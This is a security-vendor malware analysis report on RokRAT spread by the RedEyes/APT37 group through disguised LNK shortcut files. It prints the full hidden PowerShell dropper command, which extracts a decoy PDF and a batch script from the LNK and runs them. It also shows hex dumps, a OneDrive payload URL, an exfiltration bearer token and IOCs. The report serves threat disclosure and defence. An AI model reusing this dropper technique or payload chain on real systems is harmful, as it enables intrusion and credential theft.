## RokRAT Malware Distributed Through LNK Files (\*.Ink): RedEyes (ScarCruft)

Assc asec.ahnlab.com/en/51751/




AhnLab Security Emergency response Center (ASEC) confirmed that the RedEyes threat group (also known as APT37, ScarCruft), which distributed <u>CHM Malware Disguised as Security Email from a Korean Financial Company</u> last month, has also recently distributed the RokRAT malware through LNK files.

RokRAT is malware that is capable of collecting user credentials and downloading additional malware. The malware was once distributed through HWP and Word files. The LNK files that were discovered this time contain PowerShell commands that can perform malicious behavior by creating and executing a script file along with a normal file in the temp folder. The confirmed LNK filenames are as follows:

- 230407Infosheet.Ink
- April 29th 2023 Seminar.Ink
- 2023 Personal Evaluation.hwp.lnk
- NK Diplomat Dispatch Selection and Diplomatic Offices.Ink
- NK Diplomacy Policy Decision Process.Ink

The "230407Infosheet.Ink" file is disguised with a PDF icon and contains a malicious PowerShell command.



The LNK file contains not only a PowerShell command, but also the data of a normal PDF file along with malicious script codes. Furthermore, there are dummy bytes that start from 0x89D9A all the way to 0x141702A.

Offset(h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	OF	
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00089D50	61	74	65	28	24	6D	6F	6E	69	29	29	3B	22	3B	49	6E	ate(\$moni));";In
00089D60	76	6F	6B	65	2D	43	6F	6D	6D	61	6E	64	20	2D	53	63	voke-Command -Sc
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00089D80	70	74	62	6C	6F	63	6B	5D	ЗA	ЗA	43	72	65	61	74	65	ptblock]::Create
00089D90	28	24	70	75	6C	6C	29	29	3B	22	19	20	19	20	19	20	(\$pull));"
00089DA0	19	20	19	20	19	20	19	20	19	20	19	20	19	20	19	20	
00089DB0	19	20	19	20	19	20	19	20	19	20	19	20	19	20	19	20	Figure 2. Dummy
00089DC0	19	20	19	20	19	20	19	20	19	20	19	20	19	20	19	20	
00089DD0	19	20	19	20	19	20	19	20	19	20	19	20	19	20	19	20	
00089DE0	19	20	19	20	19	20	19	20	19	20	19	20	19	20	19	20	
00089DF0	19	20	19	20	19	20	19	20	19	20	19	20	19	20	19	20	
00089E00	19	20	19	20	19	20	19	20	19	20	19	20	19	20	19	20	
00089E10	19	20	19	20	19	20	19	20	19	20	19	20	19	20	19	20	
00089E20	19	20	19	20	19	20	19	20	19	20	19	20	19	20	19	20	
00089E30	19	20	19	20	19	20	19	20	19	20	19	20	19	20	19	20	
								data	that e	exists	at the	e end	of the	e LNK	file		

The PowerShell command that is executed through cmd.exe upon executing the LNK file is as follows:

/c powershell -windowstyle hidden \$dirPath = Get-Location; if(\$dirPath -Match 'System32' -or \$dirPath -Match 'Program Files') { \$dirPath = '%temp%' }; \$lnkpath = Get-ChildItem -Path \$dirPath -Recurse \*.lnk ^| where-object {\$\_.length -eq 0x00014A0DC4} ^| Select-Object -ExpandProperty FullName; \$pdfFile = gc \$lnkpath -Encoding Byte -TotalCount 00561396 -ReadCount 00561396; \$pdfPath = '%temp%\230407정보지.pdf'; sc \$pdfPath ([byte[]](\$pdfFile ^| select -Skip 002474)) -Encoding Byte; ^& \$pdfPath; \$exeFile = gc \$lnkpath -Encoding Byte -TotalCount 00564634 -ReadCount 00564634; \$exePath = '%temp%\230412.bat'; sc \$exePath ([byte[]](\$exeFile ^| select -Skip 00561396)) -Encoding Byte; ^& \$exePath;

The LNK file is read up to 0x890F4 and is saved and executed with the filename "230407Infosheet.pdf" in the Temp folder while excluding the first 0x9AA. Afterward, it reads up to 0x89D9A of the LNK file and is saved and executed in the Temp folder with the filename "230412.bat" after excluding 0x890F4, which is the byte where the PDF data exists.

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0	0089110	57	4F	57	36	34	5C	5C	63	6D	64	2E	65	78	65	20	2F	WOW64\\cmd.exe /
0	0089120	63	20	70	6F	77	65	72	73	68	65	6C	6C	20	2D	77	69	c powershell -wi
0	0089130	6E	64	6F	77	73	74	79	6C	65	20	68	69	64	64	65	6E	ndowstyle hidden
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
in the Temp folder

The threat actor executes a normal PDF file to make the behavior appear normal before carrying out their malicious behavior through the script file.



230407Infosheet.pdf (normal file)

The script file executed at the same time contains the following PowerShell command that executes malicious commands which exist as HEX values.



The final PowerShell command that is executed downloads the encoded data from

hxxps://api.onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBaFhFWExKU05NUFRiZnpnVU14TmJJbkM2Q0k\_ZT1WZEILSjE/roo decodes it, and injects it into the PowerShell process to perform malicious behavior.



	-		
▶ @odata.context:	"https://api.onedrive.com_\$metadata#shares/\$entity"		
id:	"s!AhXEXLJSNMPTbfzgUMxNbInC6CI"	F	Figure 9. Malicious
name:	"my32.jpg"		
▼ owner:			
▼ user:			
displayName:	"sandoz messi"		
id:	"d3c33452b25cc415"		


file uploaded to OneDrive

The injected data is the RokRAT malware that is capable of collecting user credentials and downloading additional malware. The collected information is sent to the threat actor's cloud server using cloud services such as pcloud and yandex. The UserAgent in the request header is disguised as Googlebot. The certificate token used to send files is as follows:

Authorization: Bearer RSbj7Zk5IYK5ThSbQZH4YBo7ZxiPOCH94RBbFuU9c04XXVJg7xbvX

The additional normal files executed through the malicious LNK are as follows:

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230402.hwp created through NK Diplomacy Policy Decision Process.lnk

As RokRAT has been in distribution for a while and is being distributed in various forms such as Word files, users are advised to take extra caution.

- Reddoor (RokRAT) Malware Analysis Report May 9, 2022
- Korean APT Attacks Using Ruby Script Analysis Report Apr. 7, 2021

[File Detection] Dropper/LNK.Agent (2023.04.08.00) Downloader/BAT.Agent (2023.04.08.00)

[IOC] 0f5eeb23d701a2b342fc15aa90d97ae0 (LNK) aa8ba9a029fa98b868be66b7d46e927b (LNK) 657fd7317ccde5a0e0c182a626951a9f (LNK) be32725e676d49eaa11ff51c61f18907 (LNK) 8fef5eb77e0a9ef2f97591d4d150a363 (bat) 461ce7d6c6062d1ae33895d1f44d98fb (bat) hxxps://api.onedrive.com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL2kvcyFBaFhFWExKU05NUFRiZnpnVU14TmJJbkM2Q0k\_ZT1WZEILSjE/root/

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Categories: Malware Information

Tagged as: APT37, Ink, RedEyes, RokRAT, ScarCruft